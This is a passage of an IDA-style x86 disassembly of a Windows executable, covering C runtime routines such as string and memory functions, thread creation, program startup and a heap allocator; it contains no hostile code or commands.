sub_407480+89j cmp ebx, off_411370[edi*4] jnz short loc_407502 mov off_411370[edi*4], 0 jmp short loc_40750B ; --------------------------------------------------------------------------- loc_407502: ; CODE XREF: sub_407480+73j inc edi cmp edi, 100h jb short loc_4074EC loc_40750B: ; CODE XREF: sub_407480+80j push ebx call sub_4070F0 pop ecx jmp short loc_40754D ; --------------------------------------------------------------------------- loc_407514: ; CODE XREF: sub_407480+68j mov word ptr [ebx], 0 or dword ptr [ebx+4], 0FFFFFFFFh lea eax, [ebx+48h] mov [ebx+8], eax lea eax, [ebx+48h] mov [ebx+10h], eax lea eax, [ebx+48h] mov [ebx+14h], eax lea eax, [ebx+48h] mov [ebx+2Ch], eax lea eax, [ebx+48h] mov [ebx+18h], eax lea eax, [ebx+48h] mov [ebx+30h], eax lea eax, [ebx+48h] mov [ebx+1Ch], eax lea eax, [ebx+28h] mov [ebx+20h], eax loc_40754D: ; CODE XREF: sub_407480+92j mov eax, esi pop edi pop esi pop ebx retn sub_407480 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407560 proc near ; CODE XREF: DMN0:00401214p ; sub_403838+108p ... var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 004075B6 SIZE 00000014 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_40F888 push offset sub_4083B8 push large dword ptr fs:0 mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp push 6 call sub_408740 pop ecx mov [ebp+var_4], 0 mov eax, [ebp+arg_0] push eax call sub_407480 pop ecx mov [ebp+var_1C], eax or [ebp+var_4], 0FFFFFFFFh call sub_4075AD jmp short loc_4075B6 sub_407560 endp ; =============== S U B R O U T I N E ======================================= sub_4075AD proc near ; CODE XREF: sub_407560+46p ; DATA XREF: DMN0:0040F890o push 6 call sub_4087C0 pop ecx retn sub_4075AD endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_407560 loc_4075B6: ; CODE XREF: sub_407560+4Bj mov eax, [ebp+var_1C] pop edi pop esi pop ebx mov ecx, [ebp+var_10] mov large fs:0, ecx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_407560 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4075D0 proc near ; CODE XREF: sub_401567+Fp ; sub_4015B7+Fp ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] test edx, edx jz short loc_40761E mov ecx, [esp+arg_0] xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_407617 neg ecx and ecx, 3 jz short loc_4075F9 sub edx, ecx loc_4075F3: ; CODE XREF: sub_4075D0+27j mov [edi], al inc edi dec ecx jnz short loc_4075F3 loc_4075F9: ; CODE XREF: sub_4075D0+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_407617 rep stosd test edx, edx jz short loc_40761D loc_407617: ; CODE XREF: sub_4075D0+18j ; sub_4075D0+3Fj ... mov [edi], al inc edi dec edx jnz short loc_407617 loc_40761D: ; CODE XREF: sub_4075D0+45j pop edi loc_40761E: ; CODE XREF: sub_4075D0+6j mov eax, [esp+arg_0] retn sub_4075D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_407630 proc near ; CODE XREF: sub_401A55+2Cp ; sub_401ADA+57p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx mov ecx, [esp+4+arg_8] mov ebx, [esp+4+arg_0] mov edx, [esp+4+arg_4] jmp short loc_407646 ; --------------------------------------------------------------------------- loc_40763F: ; CODE XREF: sub_407630+18j mov al, [edx] mov [ebx], al inc ebx inc edx dec ecx loc_407646: ; CODE XREF: sub_407630+Dj test ecx, ecx jnz short loc_40763F mov eax, [esp+4+arg_0] pop ebx retn sub_407630 endp ; =============== S U B R O U T I N E ======================================= sub_407650 proc near ; CODE XREF: sub_402208+2Ep ; sub_402511+11p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] mov edx, ecx jmp short loc_407659 ; --------------------------------------------------------------------------- loc_407658: ; CODE XREF: sub_407650+Cj inc edx loc_407659: ; CODE XREF: sub_407650+6j cmp byte ptr [edx], 0 jnz short loc_407658 mov eax, edx sub eax, ecx retn sub_407650 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_407670 proc near ; CODE XREF: sub_402296+3Fp ; sub_4025A9+2D6p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push edi mov ecx, [esp+8+arg_0] mov ebx, [esp+8+arg_4] mov edi, ecx loc_40767C: ; CODE XREF: sub_407670+18j mov eax, edi inc edi mov edx, ebx inc ebx mov dl, [edx] mov [eax], dl test dl, dl jnz short loc_40767C mov eax, ecx pop edi pop ebx retn sub_407670 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_407690 proc near ; CODE XREF: sub_402296+53p ; sub_402296+66p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ecx, [esp+4+arg_0] mov ebx, [esp+4+arg_4] mov edx, ecx jmp short loc_40769E ; --------------------------------------------------------------------------- loc_40769D: ; CODE XREF: sub_407690+11j inc edx loc_40769E: ; CODE XREF: sub_407690+Bj cmp byte ptr [edx], 0 jnz short loc_40769D jmp short loc_4076A7 ; --------------------------------------------------------------------------- loc_4076A5: ; CODE XREF: sub_407690+1Dj inc edx inc ebx loc_4076A7: ; CODE XREF: sub_407690+13j mov al, [ebx] mov [edx], al test al, al jnz short loc_4076A5 mov eax, ecx pop ebx retn sub_407690 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4076C0 proc near ; CODE XREF: sub_4025A9+268p ; sub_4025A9+297p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov ebx, [esp+0Ch+arg_0] mov eax, [esp+0Ch+arg_4] cmp byte ptr [eax], 0 jnz short loc_4076F0 mov eax, ebx jmp short loc_407709 ; --------------------------------------------------------------------------- loc_4076D4: ; CODE XREF: sub_4076C0+45j mov edi, ebx mov esi, [esp+0Ch+arg_4] loc_4076DA: ; CODE XREF: sub_4076C0+2Dj inc esi mov eax, esi cmp byte ptr [eax], 0 jnz short loc_4076E6 mov eax, ebx jmp short loc_407709 ; --------------------------------------------------------------------------- loc_4076E6: ; CODE XREF: sub_4076C0+20j inc edi mov eax, edi mov dl, [esi] cmp [eax], dl jz short loc_4076DA inc ebx loc_4076F0: ; CODE XREF: sub_4076C0+Ej mov eax, [esp+0Ch+arg_4] movzx eax, byte ptr [eax] push eax push ebx call sub_408E80 add esp, 8 mov ebx, eax test eax, eax jnz short loc_4076D4 xor eax, eax loc_407709: ; CODE XREF: sub_4076C0+12j ; sub_4076C0+24j pop edi pop esi pop ebx retn sub_4076C0 endp ; --------------------------------------------------------------------------- align 10h pop ecx pop eax add eax, 3 and eax, 0FFFFFFFCh call sub_407730 mov eax, esp push ecx retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_407730 proc near ; CODE XREF: sub_402896+8p ; sub_402B02+8p ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_407750 loc_40773C: ; CODE XREF: sub_407730+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_40773C loc_407750: ; CODE XREF: sub_407730+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_407730 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407760 proc near ; CODE XREF: sub_403838+D8p ; sub_405DF3+CBp ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi mov ebx, [ebp+arg_C] mov eax, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+arg_4] mul [ebp+arg_8] mov esi, eax test eax, eax jz loc_407864 cmp [ebp+arg_4], 0 jnz loc_40783A mov eax, [ebp+arg_8] jmp loc_407864 ; --------------------------------------------------------------------------- loc_407794: ; CODE XREF: sub_407760+DCj mov eax, [ebx+18h] cmp eax, [ebx+10h] ja short loc_4077AB push ebx call sub_408EA0 pop ecx test eax, eax jl loc_407842 loc_4077AB: ; CODE XREF: sub_407760+3Aj test word ptr [ebx], 400h jz short loc_4077C6 push esi push 0Ah mov eax, [ebp+var_4] push eax call sub_408FA0 add esp, 0Ch mov [ebp+var_10], eax jmp short loc_4077CD ; --------------------------------------------------------------------------- loc_4077C6: ; CODE XREF: sub_407760+50j mov [ebp+var_10], 0 loc_4077CD: ; CODE XREF: sub_407760+64j mov eax, [ebp+var_10] mov [ebp+var_8], eax test eax, eax jz short loc_4077E5 mov eax, [ebp+var_8] mov edx, [ebp+var_4] sub eax, edx inc eax mov [ebp+var_14], eax jmp short loc_4077E8 ; --------------------------------------------------------------------------- loc_4077E5: ; CODE XREF: sub_407760+75j mov [ebp+var_14], esi loc_4077E8: ; CODE XREF: sub_407760+83j mov edi, [ebp+var_14] mov eax, [ebx+18h] mov edx, [ebx+10h] sub eax, edx mov [ebp+var_C], eax cmp [ebp+var_C], edi jnb short loc_407805 mov [ebp+var_8], 0 mov edi, [ebp+var_C] loc_407805: ; CODE XREF: sub_407760+99j push edi mov eax, [ebp+var_4] push eax mov eax, [ebx+10h] push eax call sub_407630 add esp, 0Ch mov eax, [ebp+var_4] add eax, edi mov [ebp+var_4], eax sub esi, edi lea eax, [ebx+10h] mov edx, [eax] add edx, edi mov [eax], edx cmp [ebp+var_8], 0 jz short loc_40783A push ebx call sub_408CA0 pop ecx test eax, eax jnz short loc_407842 loc_40783A: ; CODE XREF: sub_407760+26j ; sub_407760+CDj test esi, esi jnz loc_407794 loc_407842: ; CODE XREF: sub_407760+45j ; sub_407760+D8j test word ptr [ebx], 800h jz short loc_407850 push ebx call sub_408CA0 pop ecx loc_407850: ; CODE XREF: sub_407760+E7j mov eax, [ebp+arg_4] mov [ebp+var_8], eax mul [ebp+arg_8] sub eax, esi mov edx, [ebp+var_8] mov ecx, edx xor edx, edx div ecx loc_407864: ; CODE XREF: sub_407760+1Cj ; sub_407760+2Fj pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_407760 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407870 proc near ; DATA XREF: sub_407910+2Do ; sub_448891+2Do var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_40F894 push offset sub_4083B8 push large dword ptr fs:0 mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ebx, [ebp+arg_0] push ebx mov eax, dword_411770 push eax call dword_411D98 ; TlsSetValue test eax, eax jnz short loc_4078B2 push 1 call sub_409190 pop ecx loc_4078B2: ; CODE XREF: sub_407870+38j mov [ebp+var_4], 0 mov eax, [ebx+44h] push eax call dword ptr [ebx+40h] pop ecx call sub_4079A0 jmp short loc_4078F0 ; --------------------------------------------------------------------------- mov eax, [ebp+var_14] mov eax, [eax] mov eax, [eax] mov [ebp+var_1C], eax mov eax, [ebp+var_14] push eax mov eax, [ebp+var_1C] push eax call sub_4091A0 add esp, 8 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov eax, [ebp+var_1C] push eax call sub_409190 pop ecx loc_4078F0: ; CODE XREF: sub_407870+56j or [ebp+var_4], 0FFFFFFFFh xor eax, eax pop edi pop esi pop ebx mov ecx, [ebp+var_10] mov large fs:0, ecx mov esp, ebp pop ebp retn 4 sub_407870 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407910 proc near ; CODE XREF: sub_403C3F+366p ; sub_40400E+14p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi xor esi, esi push 48h call sub_4081A0 pop ecx mov ebx, eax test eax, eax jz short loc_40797F push ebx call sub_409060 pop ecx mov eax, [ebp+arg_0] mov [ebx+40h], eax mov eax, [ebp+arg_8] mov [ebx+44h], eax push ebx push 4 push ebx push offset sub_407870 mov eax, [ebp+arg_4] push eax push 0 call dword_411D9C ; CreateThread mov edi, eax mov [ebx+4], eax test eax, eax jnz short loc_407961 call dword_411CE8 ; RtlGetLastWin32Error mov esi, eax jmp short loc_40797F ; --------------------------------------------------------------------------- loc_407961: ; CODE XREF: sub_407910+45j mov eax, edi push eax call dword_411DA0 ; ResumeThread cmp eax, 0FFFFFFFFh jnz short loc_40797B call dword_411CE8 ; RtlGetLastWin32Error mov esi, eax jmp short loc_40797F ; --------------------------------------------------------------------------- loc_40797B: ; CODE XREF: sub_407910+5Fj mov eax, edi jmp short loc_407994 ; --------------------------------------------------------------------------- loc_40797F: ; CODE XREF: sub_407910+14j ; sub_407910+4Fj ... push ebx call sub_4070F0 pop ecx test esi, esi jz short loc_407991 push esi call sub_408240 pop ecx loc_407991: ; CODE XREF: sub_407910+78j or eax, 0FFFFFFFFh loc_407994: ; CODE XREF: sub_407910+6Dj pop edi pop esi pop ebx pop ebp retn sub_407910 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4079A0 proc near ; CODE XREF: sub_40399A+1D7p ; sub_403C3F+39Fp ... push ebx call sub_409090 mov ebx, eax test eax, eax jnz short loc_4079B4 push 1 call sub_409190 pop ecx loc_4079B4: ; CODE XREF: sub_4079A0+Aj cmp dword ptr [ebx+4], 0FFFFFFFFh jz short loc_4079C7 mov eax, [ebx+4] push eax call dword_411CF8 ; CloseHandle loc_4079C7: ; CODE XREF: sub_4079A0+1Bj push ebx call sub_409100 pop ecx push 0 call dword_411DA4 ; ExitThread pop ebx retn sub_4079A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4079E0 proc near ; CODE XREF: sub_405870+DAp ; sub_405870+F1p ... var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 00407A66 SIZE 0000001B BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_40F8A0 push offset sub_4083B8 push large dword ptr fs:0 mov large fs:0, esp sub esp, 8 push ebx push esi push edi mov [ebp+var_18], esp push 2 call sub_408740 pop ecx mov [ebp+var_4], 0 jmp short loc_407A2C ; --------------------------------------------------------------------------- loc_407A17: ; CODE XREF: sub_4079E0+53j mov eax, dword_4111A0 lea edx, [eax+1] mov dword_4111A0, edx call dword_411060[eax*4] loc_407A2C: ; CODE XREF: sub_4079E0+35j cmp dword_4111A0, 50h jb short loc_407A17 jmp short loc_407A49 ; --------------------------------------------------------------------------- loc_407A37: ; CODE XREF: sub_4079E0+70j mov eax, dword_4111A4 dec eax mov dword_4111A4, eax call dword_411060[eax*4] loc_407A49: ; CODE XREF: sub_4079E0+55j cmp dword_4111A4, 0 jnz short loc_407A37 or [ebp+var_4], 0FFFFFFFFh call sub_407A5D jmp short loc_407A66 sub_4079E0 endp ; =============== S U B R O U T I N E ======================================= sub_407A5D proc near ; CODE XREF: sub_4079E0+76p ; DATA XREF: DMN0:0040F8A8o push 2 call sub_4087C0 pop ecx retn sub_407A5D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4079E0 loc_407A66: ; CODE XREF: sub_4079E0+7Bj mov eax, [ebp+arg_0] push eax call sub_409190 pop ecx pop edi pop esi pop ebx mov ecx, [ebp+var_10] mov large fs:0, ecx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_4079E0 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_407A90 proc near ; CODE XREF: sub_406485+1AAp ; sub_406485+1D9p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_409210 pop ecx retn sub_407A90 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407AA0 proc near ; DATA XREF: DMN1:00469EA2o starto var_60 = dword ptr -60h var_5C = byte ptr -5Ch var_30 = dword ptr -30h var_2C = word ptr -2Ch var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_40F8AC push offset sub_4083B8 push large dword ptr fs:0 mov large fs:0, esp sub esp, 50h push ebx push esi push edi mov [ebp+var_18], esp push 2000000h call sub_40AE30 pop ecx mov dword_4117DC, eax call sub_4085B0 test eax, eax jnz short loc_407AE7 push 1 call sub_409190 pop ecx loc_407AE7: ; CODE XREF: sub_407AA0+3Dj call sub_408FD0 test eax, eax jnz short loc_407AF8 push 1 call sub_409190 pop ecx loc_407AF8: ; CODE XREF: sub_407AA0+4Ej mov [ebp+var_4], 0 call sub_409240 call sub_4092A0 call sub_409710 call sub_4097B0 mov esi, offset dword_4101AC jmp short loc_407B1F ; --------------------------------------------------------------------------- loc_407B1A: ; CODE XREF: sub_407AA0+85j call dword ptr [esi] add esi, 4 loc_407B1F: ; CODE XREF: sub_407AA0+78j cmp esi, offset dword_4101AC jb short loc_407B1A mov [ebp+var_30], 0 lea eax, [ebp+var_5C] push eax call dword_411DA8 ; GetStartupInfoA push 0 call dword_411D6C ; GetModuleHandleA mov [ebp+var_60], eax call sub_409870 test byte ptr [ebp+var_30], 1 jz short loc_407B54 movzx esi, [ebp+var_2C] jmp short loc_407B59 ; --------------------------------------------------------------------------- loc_407B54: ; CODE XREF: sub_407AA0+ACj mov esi, 0Ah loc_407B59: ; CODE XREF: sub_407AA0+B2j push esi push eax push 0 mov eax, [ebp+var_60] push eax call sub_406C89 mov ebx, eax mov edi, offset dword_4101AC jmp short loc_407B74 ; --------------------------------------------------------------------------- loc_407B6F: ; CODE XREF: sub_407AA0+DAj call dword ptr [edi] add edi, 4 loc_407B74: ; CODE XREF: sub_407AA0+CDj cmp edi, offset dword_4101AC jb short loc_407B6F push ebx call sub_4079E0 pop ecx jmp short loc_407BAD ; --------------------------------------------------------------------------- mov eax, [ebp+var_14] mov eax, [eax] mov eax, [eax] mov [ebp+var_1C], eax mov eax, [ebp+var_14] push eax mov eax, [ebp+var_1C] push eax call sub_4091A0 add esp, 8 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov eax, [ebp+var_1C] push eax call sub_409190 pop ecx loc_407BAD: ; CODE XREF: sub_407AA0+E3j or [ebp+var_4], 0FFFFFFFFh pop edi pop esi pop ebx mov ecx, [ebp+var_10] mov large fs:0, ecx mov esp, ebp pop ebp retn sub_407AA0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407BD0 proc near ; CODE XREF: sub_407E60+ECp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov eax, [ebp+arg_0] add eax, 3 shr eax, 0Eh shl eax, 0Eh lea esi, [eax+4000h] mov edi, esi shl edi, 2 push edi call sub_4098B0 pop ecx mov [ebp+var_8], eax test eax, eax jnz short loc_407C0F mov dword_4117E0, 0 xor eax, eax jmp loc_407E4D ; --------------------------------------------------------------------------- loc_407C0F: ; CODE XREF: sub_407BD0+2Cj mov eax, dword_4127EC mov edx, dword_4127E8 add eax, edx cmp eax, [ebp+var_8] jnz short loc_407C35 mov ebx, dword_4127E8 mov eax, dword_4127EC add edi, eax mov esi, edi shr esi, 2 jmp short loc_407C42 ; --------------------------------------------------------------------------- loc_407C35: ; CODE XREF: sub_407BD0+4Fj mov eax, [ebp+var_8] mov ebx, eax mov edx, ebx sub edx, eax mov eax, edx sub edi, eax loc_407C42: ; CODE XREF: sub_407BD0+63j mov eax, esi shl eax, 2 lea edx, [ebx+eax] mov dword_4127E8, edx mov edx, edi sub edx, eax mov eax, edx mov dword_4127EC, eax mov eax, dword_4111CC add eax, 4 cmp ebx, eax jnz short loc_407C74 cmp dword_4111D4, 0 jnz loc_407DE6 loc_407C74: ; CODE XREF: sub_407BD0+95j mov eax, dword_4111D4 mov [ebp+var_C], eax mov dword_4111D4, ebx mov eax, [ebp+var_C] mov [ebx], eax add ebx, 4 dec esi mov dword_4111CC, ebx mov eax, dword_4111D0 test eax, eax jz short loc_407C9E cmp eax, ebx jbe short loc_407CA4 loc_407C9E: ; CODE XREF: sub_407BD0+C8j mov dword_4111D0, ebx loc_407CA4: ; CODE XREF: sub_407BD0+CCj mov eax, esi or eax, 80000000h mov [ebx], eax mov eax, dword_4111CC lea eax, [eax+esi*4-4] mov dword_4111CC, eax mov edx, dword_4111CC mov eax, esi or eax, 80000000h mov [edx], eax sub esi, 2 add ebx, 4 mov eax, dword_4111CC lea ebx, [eax-4] cmp esi, dword_4111E4 ja short loc_407D12 cmp esi, dword_4111DC ja short loc_407CFA mov eax, dword_4111D8 cmp esi, eax setnbe al and eax, 1 mov [ebp+var_10], eax jmp short loc_407D0D ; --------------------------------------------------------------------------- loc_407CFA: ; CODE XREF: sub_407BD0+116j mov eax, dword_4111E0 cmp esi, eax setnbe al and eax, 1 add eax, 2 mov [ebp+var_10], eax loc_407D0D: ; CODE XREF: sub_407BD0+128j mov eax, [ebp+var_10] jmp short loc_407D42 ; --------------------------------------------------------------------------- loc_407D12: ; CODE XREF: sub_407BD0+10Ej cmp esi, dword_4111EC ja short loc_407D2F mov eax, dword_4111E8 cmp esi, eax setnbe al and eax, 1 add eax, 4 mov [ebp+var_10], eax jmp short loc_407D42 ; --------------------------------------------------------------------------- loc_407D2F: ; CODE XREF: sub_407BD0+148j mov eax, dword_4111F0 cmp esi, eax setnbe al and eax, 1 add eax, 6 mov [ebp+var_10], eax loc_407D42: ; CODE XREF: sub_407BD0+140j ; sub_407BD0+15Dj mov eax, [ebp+var_10] mov dword_4111FC, eax mov eax, dword_4111FC mov eax, dword_4111A8[eax*4] mov [ebp+var_18], eax test eax, eax jnz short loc_407D88 mov [ebp+var_14], ebx mov [ebp+var_18], ebx mov eax, dword_4111FC mov dword_4111A8[eax*4], ebx mov eax, dword_4111FC cmp dword_4111F8, eax jle short loc_407D91 mov eax, dword_4111FC mov dword_4111F8, eax jmp short loc_407D91 ; --------------------------------------------------------------------------- loc_407D88: ; CODE XREF: sub_407BD0+18Bj mov eax, [ebp+var_18] mov eax, [eax-8] mov [ebp+var_14], eax loc_407D91: ; CODE XREF: sub_407BD0+1AAj ; sub_407BD0+1B6j mov eax, [ebp+var_18] mov [ebx-4], eax mov edx, [ebp+var_18] mov [edx-8], ebx mov edx, [ebp+var_14] mov [edx-4], ebx mov eax, [ebp+var_14] mov [ebx-8], eax mov eax, esi shl eax, 2 mov edx, ebx sub edx, eax mov [edx+4], esi mov [ebx], esi mov eax, dword_4111FC mov dword_4111A8[eax*4], ebx jmp short loc_407DCB ; --------------------------------------------------------------------------- loc_407DC5: ; CODE XREF: sub_407BD0+20Dj inc dword_4111F8 loc_407DCB: ; CODE XREF: sub_407BD0+1F3j mov eax, dword_4111F8 cmp dword_4111A8[eax*4], 0 jnz short loc_407DDF cmp eax, 7 jl short loc_407DC5 loc_407DDF: ; CODE XREF: sub_407BD0+208j mov eax, 1 jmp short loc_407E4D ; --------------------------------------------------------------------------- loc_407DE6: ; CODE XREF: sub_407BD0+9Ej add ebx, 0FFFFFFFCh mov eax, [ebx] and eax, 7FFFFFFFh add eax, esi mov [ebp+var_4], eax mov eax, esi or eax, 80000000h mov [ebx], eax mov eax, dword_4111CC lea eax, [eax+esi*4] mov dword_4111CC, eax mov edx, dword_4111CC mov eax, [ebx] mov [edx-4], eax mov edx, dword_4111CC mov eax, [ebp+var_4] or eax, 80000000h mov [edx], eax mov eax, [ebp+var_4] mov edx, dword_4111CC mov ecx, eax shl ecx, 2 sub edx, ecx or eax, 80000000h mov [edx+4], eax lea eax, [ebx+4] push eax call sub_4070F0 pop ecx mov eax, 1 loc_407E4D: ; CODE XREF: sub_407BD0+3Aj ; sub_407BD0+214j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_407BD0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407E60 proc near ; CODE XREF: sub_4081A0+4Ap var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 24h push ebx push esi push edi xor ebx, ebx mov eax, [ebp+arg_0] add eax, 3 shr eax, 2 lea esi, [eax+2] cmp esi, 4 jnb short loc_407E81 mov esi, 4 loc_407E81: ; CODE XREF: sub_407E60+1Aj xor edi, edi cmp esi, dword_4111E4 ja short loc_407EBD cmp esi, dword_4111DC ja short loc_407EA5 mov eax, dword_4111D8 cmp esi, eax setnbe al and eax, 1 mov [ebp+var_10], eax jmp short loc_407EB8 ; --------------------------------------------------------------------------- loc_407EA5: ; CODE XREF: sub_407E60+31j mov eax, dword_4111E0 cmp esi, eax setnbe al and eax, 1 add eax, 2 mov [ebp+var_10], eax loc_407EB8: ; CODE XREF: sub_407E60+43j mov eax, [ebp+var_10] jmp short loc_407EED ; --------------------------------------------------------------------------- loc_407EBD: ; CODE XREF: sub_407E60+29j cmp esi, dword_4111EC ja short loc_407EDA mov eax, dword_4111E8 cmp esi, eax setnbe al and eax, 1 add eax, 4 mov [ebp+var_10], eax jmp short loc_407EED ; --------------------------------------------------------------------------- loc_407EDA: ; CODE XREF: sub_407E60+63j mov eax, dword_4111F0 cmp esi, eax setnbe al and eax, 1 add eax, 6 mov [ebp+var_10], eax loc_407EED: ; CODE XREF: sub_407E60+5Bj ; sub_407E60+78j mov eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, dword_4111F8 cmp [ebp+var_C], eax jge short loc_407F3D mov eax, dword_4111F8 mov [ebp+var_C], eax jmp short loc_407F3D ; --------------------------------------------------------------------------- loc_407F07: ; CODE XREF: sub_407E60+E5j mov eax, [ebp+var_C] lea edx, [eax+1] mov [ebp+var_C], edx mov eax, dword_4111A8[eax*4] mov ebx, eax test eax, eax jz short loc_407F3D mov eax, dword_4111CC add eax, 0FFFFFFFCh cmp ebx, eax jnz short loc_407F2C mov ebx, [ebx-4] loc_407F2C: ; CODE XREF: sub_407E60+C7j mov [ebp+var_4], ebx loc_407F2F: ; CODE XREF: sub_407E60+DBj mov edi, [ebx] cmp edi, esi jnb short loc_407F3D mov ebx, [ebx-4] cmp ebx, [ebp+var_4] jnz short loc_407F2F loc_407F3D: ; CODE XREF: sub_407E60+9Bj ; sub_407E60+A5j ... cmp edi, esi jnb short loc_407F47 cmp [ebp+var_C], 8 jl short loc_407F07 loc_407F47: ; CODE XREF: sub_407E60+DFj cmp edi, esi jnb short loc_407F6D push esi call sub_407BD0 pop ecx test eax, eax jz loc_408197 mov eax, dword_4111FC mov [ebp+var_C], eax mov ebx, dword_4111A8[eax*4] mov edi, [ebx] jmp short loc_407F76 ; --------------------------------------------------------------------------- loc_407F6D: ; CODE XREF: sub_407E60+E9j cmp [ebp+var_C], 0 jle short loc_407F76 dec [ebp+var_C] loc_407F76: ; CODE XREF: sub_407E60+10Bj ; sub_407E60+111j mov eax, edi sub eax, esi mov [ebp+var_14], eax cmp eax, 4 jb loc_4080FF mov eax, dword_4111E4 cmp [ebp+var_14], eax ja short loc_407FC6 mov eax, dword_4111DC cmp [ebp+var_14], eax ja short loc_407FAD mov eax, dword_4111D8 cmp [ebp+var_14], eax setnbe al and eax, 1 mov [ebp+var_1C], eax jmp short loc_407FC1 ; --------------------------------------------------------------------------- loc_407FAD: ; CODE XREF: sub_407E60+138j mov eax, dword_4111E0 cmp [ebp+var_14], eax setnbe al and eax, 1 add eax, 2 mov [ebp+var_1C], eax loc_407FC1: ; CODE XREF: sub_407E60+14Bj mov eax, [ebp+var_1C] jmp short loc_407FFA ; --------------------------------------------------------------------------- loc_407FC6: ; CODE XREF: sub_407E60+12Ej mov eax, dword_4111EC cmp [ebp+var_14], eax ja short loc_407FE6 mov eax, dword_4111E8 cmp [ebp+var_14], eax setnbe al and eax, 1 add eax, 4 mov [ebp+var_1C], eax jmp short loc_407FFA ; --------------------------------------------------------------------------- loc_407FE6: ; CODE XREF: sub_407E60+16Ej mov eax, dword_4111F0 cmp [ebp+var_14], eax setnbe al and eax, 1 add eax, 6 mov [ebp+var_1C], eax loc_407FFA: ; CODE XREF: sub_407E60+164j ; sub_407E60+184j mov eax, [ebp+var_1C] mov [ebp+var_18], eax mov eax, [ebp+var_C] cmp [ebp+var_18], eax jz loc_4080EC mov eax, [ebx-4] mov [ebp+var_20], eax cmp 